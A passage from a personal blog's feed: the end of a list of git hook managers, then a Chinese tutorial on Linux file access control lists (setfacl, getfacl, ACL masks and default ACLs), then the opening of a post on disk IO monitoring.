&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;wecodemore&#x2F;grunt-githooks&quot;&gt;Grunt GitHooks&lt;&#x2F;a&gt;- Setup, manage and update your hooks with Grunt. Can be used with all languages, supports templates.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;git-hooks&#x2F;git-hooks&quot;&gt;git-hooks&lt;&#x2F;a&gt; - Hook manager.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;peacechen&#x2F;node-git-hooks&quot;&gt;node-git-hooks&lt;&#x2F;a&gt;- Automated, cross-platform, deployment-friendly Git hooks installation.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;typicode&#x2F;husky&quot;&gt;Husky&lt;&#x2F;a&gt; - Git hooks for Node.js, manage your hooks from your package.json.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;BernardoSilva&#x2F;git-hooks-php&quot;&gt;git-hooks-php&lt;&#x2F;a&gt;- Git hooks for PHP based projects.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;elpete&#x2F;commandbox-githooks&quot;&gt;commandbox-githooks&lt;&#x2F;a&gt;- Git hooks for CommandBox CFML based projects.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Autohook&#x2F;Autohook&quot;&gt;Autohook&lt;&#x2F;a&gt; - A very, &lt;em&gt;very&lt;&#x2F;em&gt; small Git hook manager with focus on automation.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;greenbone&#x2F;autohooks&quot;&gt;autohooks&lt;&#x2F;a&gt; - A library for managing and writing git hooks in Python.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pypi.org&#x2F;project&#x2F;hooks4git&quot;&gt;hooks4git&lt;&#x2F;a&gt; - A simple, flexible and language agnostic git hook management approach.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rycus86&#x2F;githooks&quot;&gt;Githooks&lt;&#x2F;a&gt; - Auto-install Git hook, that supports hooks in any language checked into Git and also shared repos.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;aitemr&#x2F;awesome-git-hooks&quot;&gt;Awesome Git Hooks&lt;&#x2F;a&gt;- A collection of awesome Git Hooks.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ghooks-org&#x2F;ghooks&quot;&gt;ghooks&lt;&#x2F;a&gt; - Simple git hooks for Javascript. Manage your hooks via package.json.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gtramontina&#x2F;ghooks.cr&quot;&gt;ghooks.cr&lt;&#x2F;a&gt; - Simple git hooks for Crystal. Keep your hooks in a versioned &quot;.githooks&#x2F;&quot; directory.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gtramontina&#x2F;ghooks.gradle&quot;&gt;ghooks.gradle&lt;&#x2F;a&gt;- Simple git hooks for Gradle. Keep your hooks in a versioned &quot;.githooks&#x2F;&quot; directory.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;evilmartians&#x2F;lefthook&quot;&gt;Lefthook&lt;&#x2F;a&gt; - Fast and powerful Git hooks manager for any type of projects.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;fisker&#x2F;git-hooks-list&quot;&gt;Git Hooks List&lt;&#x2F;a&gt;- List of Git hooks.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;boddenberg-it&#x2F;.githooker&quot;&gt;.githooker&lt;&#x2F;a&gt;- Eases setup, maintenance, handling of git-hooks across teams&#x2F;projects for virtually all languages + common git-hook-ish tasks as declarative configuration inside your repo!&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;commitlint.js.org&#x2F;&quot;&gt;Commit lint&lt;&#x2F;a&gt;- Commitlint helps your team adhere to a commit convention.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mbrehin.github.io&#x2F;git-precommit-checks&#x2F;&quot;&gt;git-precommit-checks&lt;&#x2F;a&gt;- Configurable checks for staged contents.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.npmjs.com&#x2F;package&#x2F;validate-branch-name&quot;&gt;validate-branch-name&lt;&#x2F;a&gt;- Branch name validator.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;semantic-release.gitbook.io&#x2F;semantic-release&#x2F;&quot;&gt;Semantic release&lt;&#x2F;a&gt;- Fully automated version management and package publishing.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;snippets&quot;&gt;Snippets&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;kalpeshsingh&#x2F;e7682478b8927700c714f12e37f0837e&quot;&gt;Prevent Direct Push to Master&lt;&#x2F;a&gt;- A pre-push hook that prevents direct code push to master branch and notify with a message in Amazon Chime group.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;contribute&quot;&gt;Contribute&lt;&#x2F;h2&gt;
&lt;p&gt;If you have a Git Hook you love, or a resource you&#x27;ve written for the community - please create a pull request&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;matthewhudson&#x2F;githooks.com&#x2F;&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux之facl----设置文件访问控制列表（详解）</title>
        <published>2025-02-05T00:00:00+00:00</published>
        <updated>2025-02-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux之facl-设置文件访问控制列表-详解/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux之facl-设置文件访问控制列表-详解/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux之facl-设置文件访问控制列表-详解/">&lt;h1 id=&quot;linuxzhi-facl-she-zhi-wen-jian-fang-wen-kong-zhi-lie-biao-xiang-jie&quot;&gt;Linux之facl----设置文件访问控制列表（详解）&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;setfacl命令&lt;&#x2F;strong&gt; 是用来在命令行里设置ACL（访问控制列表）&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xuan-xiang&quot;&gt;选项&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;diff&quot; class=&quot;language-diff &quot;&gt;&lt;code class=&quot;language-diff&quot; data-lang=&quot;diff&quot;&gt;-b,--remove-all：删除所有扩展的acl规则，基本的acl规则(所有者，群组，其他）将被保留。
-k,--remove-default：删除缺省的acl规则。如果没有缺省规则，将不提示。
-n，--no-mask：不要重新计算有效权限。setfacl默认会重新计算ACL mask，除非mask被明确的制定。
--mask：重新计算有效权限，即使ACL mask被明确指定。
-d，--default：设定默认的acl规则。
--restore=file：从文件恢复备份的acl规则（这些文件可由getfacl -R产生）。通过这种机制可以恢复整个目录树的acl规则。此参数不能和除--test以外的任何参数一同执行。
--test：测试模式，不会改变任何文件的acl规则，操作后的acl规格将被列出。
-R，--recursive：递归的对所有文件及目录进行操作。
-L，--logical：跟踪符号链接，默认情况下只跟踪符号链接文件，跳过符号链接目录。
-P，--physical：跳过所有符号链接，包括符号链接文件。
--version：输出setfacl的版本号并退出。
--help：输出帮助信息。
--：标识命令行参数结束，其后的所有参数都将被认为是文件名
-：如果文件名是-，则setfacl将从标准输入读取文件名。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;选项&lt;code&gt;-m&lt;&#x2F;code&gt;和&lt;code&gt;-x&lt;&#x2F;code&gt;后边跟以acl规则。多条acl规则以逗号(,)隔开。选项&lt;code&gt;-M&lt;&#x2F;code&gt;和&lt;code&gt;-X&lt;&#x2F;code&gt;用来从文件或标准输入读取acl规则。&lt;&#x2F;li&gt;
&lt;li&gt;选项&lt;code&gt;--set&lt;&#x2F;code&gt;和&lt;code&gt;--set-file&lt;&#x2F;code&gt;用来设置文件或目录的acl规则，先前的设定将被覆盖。&lt;&#x2F;li&gt;
&lt;li&gt;选项&lt;code&gt;-m(--modify)&lt;&#x2F;code&gt;和&lt;code&gt;-M(--modify-file)&lt;&#x2F;code&gt;选项修改文件或目录的acl规则。&lt;&#x2F;li&gt;
&lt;li&gt;选项&lt;code&gt;-x(--remove)&lt;&#x2F;code&gt;和&lt;code&gt;-X(--remove-file)&lt;&#x2F;code&gt;选项删除acl规则。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;当使用-M，-X选项从文件中读取规则时，setfacl接受getfacl命令输出的格式。每行至少一条规则，以#开始的行将被视为注释。&lt;&#x2F;p&gt;
&lt;p&gt;当在不支持ACLs的文件系统上使用setfacl命令时，setfacl将修改文件权限位。如果acl规则并不完全匹配文件权限位，setfacl将会修改文件权限位使其尽可能的反应acl规则，并会向standard error发送错误消息，以大于0的状态返回。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;权限&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;文件的所有者以及有&lt;code&gt;CAP_FOWNER&lt;&#x2F;code&gt;的用户进程可以设置一个文件的acl。（在目前的linux系统上，root用户是唯一有&lt;code&gt;CAP_FOWNER&lt;&#x2F;code&gt;能力的用户）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;ACL规则&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;setfacl命令可以识别以下的规则格式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;less&quot; class=&quot;language-less &quot;&gt;&lt;code class=&quot;language-less&quot; data-lang=&quot;less&quot;&gt;[d[efault]:] [u[ser]:]uid [:perms]  指定用户的权限，文件所有者的权限（如果uid没有指定）。
[d[efault]:] g[roup]:gid [:perms]   指定群组的权限，文件所有群组的权限（如果gid未指定）
[d[efault]:] m[ask][:] [:perms]     有效权限掩码
[d[efault]:] o[ther] [:perms]       其他的权限
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;恰当的acl规则被用在修改和设定的操作中，对于uid和gid，可以指定一个数字，也可指定一个名字。perms域是一个代表各种权限的字母的组合：读&lt;code&gt;-r&lt;&#x2F;code&gt;写&lt;code&gt;-w&lt;&#x2F;code&gt;执行&lt;code&gt;-x&lt;&#x2F;code&gt;，执行只适合目录和一些可执行的文件。pers域也可设置为八进制格式。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;自动创建的规则&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最初的，文件目录仅包含3个基本的acl规则。为了使规则能正常执行，需要满足以下规则。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;3个基本规则不能被删除。&lt;&#x2F;li&gt;
&lt;li&gt;任何一条包含指定的用户名或群组名的规则必须包含有效的权限组合。&lt;&#x2F;li&gt;
&lt;li&gt;任何一条包含缺省规则的规则在使用时，缺省规则必须存在。&lt;strong&gt;ACL的名词定义&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;先来看看在ACL里面每一个名词的定义，这些名词我大多从man page上摘下来虽然有些枯燥,但是对于理解下面的内容还是很有帮助的。&lt;&#x2F;p&gt;
&lt;p&gt;ACL是由一系列的Access Entry所组成的，每一条Access Entry定义了特定的类别可以对文件拥有的操作权限。Access Entry有三个组成部分：Entry tag type, qualifier (optional), permission。&lt;&#x2F;p&gt;
&lt;p&gt;我们先来看一下最重要的Entry tag type，它有以下几个类型：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;ACL_USER_OBJ：相当于Linux里file_owner的permission
ACL_USER：定义了额外的用户可以对此文件拥有的permission
ACL_GROUP_OBJ：相当于Linux里group的permission
ACL_GROUP：定义了额外的组可以对此文件拥有的permission
ACL_MASK：定义了ACL_USER, ACL_GROUP_OBJ和ACL_GROUP的最大权限 (这个我下面还会专门讨论)
ACL_OTHER：相当于Linux里other的permission
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;让我们来据个例子说明一下，下面我们就用getfacl命令来查看一个定义好了的ACL文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;makefile&quot; class=&quot;language-makefile &quot;&gt;&lt;code class=&quot;language-makefile&quot; data-lang=&quot;makefile&quot;&gt;[root@localhost ~]# getfacl .&amp;#x2F;test.txt
# file: test.txt
# owner: root
# group: admin
user::rw-
user:john:rw-
group::rw-
group:dev:r--
mask::rw- other::r--
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;前面三个以#开头的定义了文件名，file owner和group。这些信息没有太大的作用，接下来我们可以用&lt;code&gt;--omit-header&lt;&#x2F;code&gt;来省略掉。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;delphi&quot; class=&quot;language-delphi &quot;&gt;&lt;code class=&quot;language-delphi&quot; data-lang=&quot;delphi&quot;&gt;user::rw-       定义了ACL_USER_OBJ, 说明file owner拥有read and write permission
user:john:rw-   定义了ACL_USER,这样用户john就拥有了对文件的读写权限,实现了我们一开始要达到的目的
group::rw-      定义了ACL_GROUP_OBJ,说明文件的group拥有read and write permission
group:dev:r--   定义了ACL_GROUP,使得dev组拥有了对文件的read permission
mask::rw-       定义了ACL_MASK的权限为read and write
other::r--      定义了ACL_OTHER的权限为read
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从这里我们就可以看出ACL提供了我们可以定义特定用户和用户组的功能，那么接下来我们就来看一下如何设置一个文件的ACL：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;如何设置ACL文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先我们还是要讲一下设置ACL文件的格式，从上面的例子中我们可以看到每一个Access Entry都是由三个被：号分隔开的字段所组成，第一个就是Entry tag type。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sql&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;user   对应了ACL_USER_OBJ和ACL_USER
group  对应了ACL_GROUP_OBJ和ACL_GROUP
mask   对应了ACL_MASK
other  对应了ACL_OTHER
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第二个字段称之为qualifier，也就是上面例子中的john和dev组，它定义了特定用户和拥护组对于文件的权限。这里我们也可以发现只有user和group才有qualifier，其他的都为空。第三个字段就是我们熟悉的permission了。它和Linux的permission一样定义，这里就不多讲了。&lt;&#x2F;p&gt;
&lt;p&gt;下面我们就来看一下怎么设置test.txt这个文件的ACL让它来达到我们上面的要求。&lt;&#x2F;p&gt;
&lt;p&gt;一开始文件没有ACL的额外属性：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;[root@localhost ~]# ls -l
-rw-rw-r-- 1 root admin 0 Jul 3 22:06 test.txt

[root@localhost ~]# getfacl --omit-header .&amp;#x2F;test.txt
user::rw- group::rw- other::r--
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们先让用户john拥有对test.txt文件的读写权限：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;[root@localhost ~]# setfacl -m user:john:rw- .&amp;#x2F;test.txt
[root@localhost ~]# getfacl --omit-header .&amp;#x2F;test.txt
user::rw-
user:john:rw-
group::rw-
mask::rw-
other::r--
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这时我们就可以看到john用户在ACL里面已经拥有了对文件的读写权。这个时候如果我们查看一下linux的permission我们还会发现一个不一样的地方。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;[root@localhost ~]# ls -l .&amp;#x2F;test.txt
-rw-rw-r--+ 1 root admin 0 Jul 3 22:06 .&amp;#x2F;test.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在文件permission的最后多了一个+号，当任何一个文件拥有了ACL_USER或者ACL_GROUP的值以后我们就可以称它为ACL文件，这个+号就是用来提示我们的。我们还可以发现当一个文件拥有了&lt;code&gt;ACL_USER&lt;&#x2F;code&gt;或者&lt;code&gt;ACL_GROUP&lt;&#x2F;code&gt;的值时&lt;code&gt;ACL_MASK&lt;&#x2F;code&gt;同时也会被定义。&lt;&#x2F;p&gt;
&lt;p&gt;接下来我们来设置dev组拥有read permission：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sql&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;[root@localhost ~]# setfacl -m group:dev:r-- .&amp;#x2F;test.txt
[root@localhost ~]# getfacl --omit-header .&amp;#x2F;test.txt
user::rw-
user:john:rw-
group::rw-
group:dev:r--
mask::rw-
other::r--
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;到这里就完成了我们上面讲到的要求，是不是很简单呢。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;ACL_MASK和Effective permission&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里需要重点讲一下&lt;code&gt;ACL_MASK&lt;&#x2F;code&gt;，因为这是掌握ACL的另一个关键，在Linux file permission里面大家都知道比如对于&lt;code&gt;rw-rw-r--&lt;&#x2F;code&gt;来说, 当中的那个&lt;code&gt;rw-&lt;&#x2F;code&gt;是指文件组的permission. 但是在ACL里面这种情况只是在&lt;code&gt;ACL_MASK&lt;&#x2F;code&gt;不存在的情况下成立。如果文件有ACL_MASK值，那么当中那个&lt;code&gt;rw-&lt;&#x2F;code&gt;代表的就是mask值而不再是group permission了。&lt;&#x2F;p&gt;
&lt;p&gt;让我们来看下面这个例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;mipsasm&quot; class=&quot;language-mipsasm &quot;&gt;&lt;code class=&quot;language-mipsasm&quot; data-lang=&quot;mipsasm&quot;&gt;[root@localhost ~]# ls -l
-rwxrw-r-- 1 root admin 0 Jul 3 23:10 test.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里说明test.sh文件只有file owner: root拥有read, write, execute&#x2F;search permission。admin组只有read and write permission，现在我们想让用户john也对test.sh具有和root一样的permission。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;[root@localhost ~]# setfacl -m user:john:rwx .&amp;#x2F;test.sh
[root@localhost ~]# getfacl --omit-header .&amp;#x2F;test.sh
user::rwx user:john:rwx
group::rw-
mask::rwx
other::r--
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里我们看到john已经拥有了rwx的permission，mask值也被设定为rwx，那是因为它规定了&lt;code&gt;ACL_USER&lt;&#x2F;code&gt;，&lt;code&gt;ACL_GROUP&lt;&#x2F;code&gt;和&lt;code&gt;ACL_GROUP_OBJ&lt;&#x2F;code&gt;的最大值，现在我们再来看test.sh的Linux permission，它已经变成了：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;mipsasm&quot; class=&quot;language-mipsasm &quot;&gt;&lt;code class=&quot;language-mipsasm&quot; data-lang=&quot;mipsasm&quot;&gt;[root@localhost ~]# ls -l
-rwxrwxr--+ 1 root admin 0 Jul 3 23:10 test.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么如果现在admin组的用户想要执行test.sh的程序会发生什么情况呢？它会被permission deny。原因在于实际上admin组的用户只有read and write permission，这里当中显示的rwx是&lt;code&gt;ACL_MASK&lt;&#x2F;code&gt;的值而不是group的permission。&lt;&#x2F;p&gt;
&lt;p&gt;所以从这里我们就可以知道，如果一个文件后面有+标记，我们都需要用getfacl来确认它的permission，以免发生混淆。&lt;&#x2F;p&gt;
&lt;p&gt;下面我们再来继续看一个例子，假如现在我们设置test.sh的mask为read only，那么admin组的用户还会有write permission吗？&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sql&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;[root@localhost ~]# setfacl -m mask::r-- .&amp;#x2F;test.sh
[root@localhost ~]# getfacl --omit-header .&amp;#x2F;test.sh
user::rwx
user:john:rwx   #effective:r--
group::rw-      #effective:r--
mask::r--
other::r--
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这时候我们可以看到ACL_USER和ACL_GROUP_OBJ旁边多了个#effective:r–，这是什么意思呢？让我们再来回顾一下&lt;code&gt;ACL_MASK&lt;&#x2F;code&gt;的定义。它规定了&lt;code&gt;ACL_USER&lt;&#x2F;code&gt;，&lt;code&gt;ACL_GROUP_OBJ&lt;&#x2F;code&gt;和&lt;code&gt;ACL_GROUP&lt;&#x2F;code&gt;的最大权限。那么在我们这个例子中他们的最大权限也就是read only。虽然我们这里给&lt;code&gt;ACL_USER&lt;&#x2F;code&gt;和&lt;code&gt;ACL_GROUP_OBJ&lt;&#x2F;code&gt;设置了其他权限，但是他们真正有效果的只有read权限。&lt;&#x2F;p&gt;
&lt;p&gt;这时我们再来查看test.sh的Linux file permission时它的group permission也会显示其mask的值(i.e. r–)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;mipsasm&quot; class=&quot;language-mipsasm &quot;&gt;&lt;code class=&quot;language-mipsasm&quot; data-lang=&quot;mipsasm&quot;&gt;[root@localhost ~]# ls -l
-rwxr--r--+ 1 root admin 0 Jul 3 23:10 test.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Default ACL&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上面我们所有讲的都是Access ACL，也就是对文件而言。下面我简单讲一下Default ACL。Default ACL是指对于一个目录进行Default ACL设置，并且在此目录下建立的文件都将继承此目录的ACL。&lt;&#x2F;p&gt;
&lt;p&gt;同样我们来做一个试验说明，比如现在root用户建立了一个dir目录：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;[root@localhost ~]# mkdir dir
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;他希望所有在此目录下建立的文件都可以被john用户所访问，那么我们就应该对dir目录设置Default ACL。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;[root@localhost ~]# setfacl -d -m user:john:rw .&amp;#x2F;dir
[root@localhost ~]# getfacl --omit-header .&amp;#x2F;dir
user::rwx
group::rwx
other::r-x
default:user::rwx
default:user:john:rwx
default:group::rwx
default:mask::rwx
default: other::r-x
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里我们可以看到ACL定义了default选项，john用户拥有了default的read, write, excute&#x2F;search permission。所有没有定义的default都将从file permission里copy过来，现在root用户在dir下建立一个test.txt文件。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;[root@localhost ~]# touch .&amp;#x2F;dir&amp;#x2F;test.txt
[root@localhost ~]# ls -l .&amp;#x2F;dir&amp;#x2F;test.txt
-rw-rw-r--+ 1 root root 0 Jul 3 23:46 .&amp;#x2F;dir&amp;#x2F;test.txt

[root@localhost ~]# getfacl --omit-header .&amp;#x2F;dir&amp;#x2F;test.txt
user::rw-
user:john:rw-
group::rwx #effective:rw-
mask::rw-
other::r--
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里我们看到在dir下建立的文件john用户自动就有了read and write permission，&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;ACL相关命令&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;前面的例子中我们都注意到了getfacl命令是用来读取文件的ACL，setfacl是用来设定文件的Acess ACL。这里还有一个chacl是用来改变文件和目录的Access ACL and Default ACL，它的具体参数大家可以去看man page。我只想提及一下&lt;code&gt;chacl -B&lt;&#x2F;code&gt;。它可以彻底删除文件或者目录的ACL属性(包括Default ACL)，比如你即使用了&lt;code&gt;setfacl -x&lt;&#x2F;code&gt;删除了所有文件的ACL属性，那个+号还是会出现在文件的末尾，所以正确的删除方法应该是用&lt;code&gt;chacl -B&lt;&#x2F;code&gt;用cp来复制文件的时候我们现在可以加上&lt;code&gt;-p&lt;&#x2F;code&gt;选项。这样在拷贝文件的时候也将拷贝文件的ACL属性，对于不能拷贝的ACL属性将给出警告。&lt;&#x2F;p&gt;
&lt;p&gt;mv命令将会默认地移动文件的ACL属性，同样如果操作不允许的情况下会给出警告。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;需要注意的几点&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你的文件系统不支持ACL的话，你也许需要重新mount你的file system：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;css&quot; class=&quot;language-css &quot;&gt;&lt;code class=&quot;language-css&quot; data-lang=&quot;css&quot;&gt;mount -o remount, acl [mount point]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果用chmod命令改变Linux file permission的时候相应的ACL值也会改变，反之改变ACL的值，相应的file permission也会改变。&lt;&#x2F;p&gt;
&lt;p&gt;我有梦，有远方，我会为了它们奔跑，奋斗，直到成为连我自己都佩服的人。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>如何监测 Linux 的磁盘 IO 性能-linux 磁盘性能测试</title>
        <published>2025-02-05T00:00:00+00:00</published>
        <updated>2025-02-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/如何监测-linux-的磁盘-io-性能-linux-磁盘性能测试/"/>
        <id>https://vercel.juzhong.asia/obsidian/如何监测-linux-的磁盘-io-性能-linux-磁盘性能测试/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/如何监测-linux-的磁盘-io-性能-linux-磁盘性能测试/">&lt;h1 id=&quot;ru-he-jian-ce-linux-de-ci-pan-io-xing-neng-linux-ci-pan-xing-neng-ce-shi&quot;&gt;如何监测 Linux 的磁盘 IO 性能-linux 磁盘性能测试&lt;&#x2F;h1&gt;
&lt;p&gt;在本文中，我们来看看磁盘的性能指标以及如何查看这些指标&lt;&#x2F;p&gt;
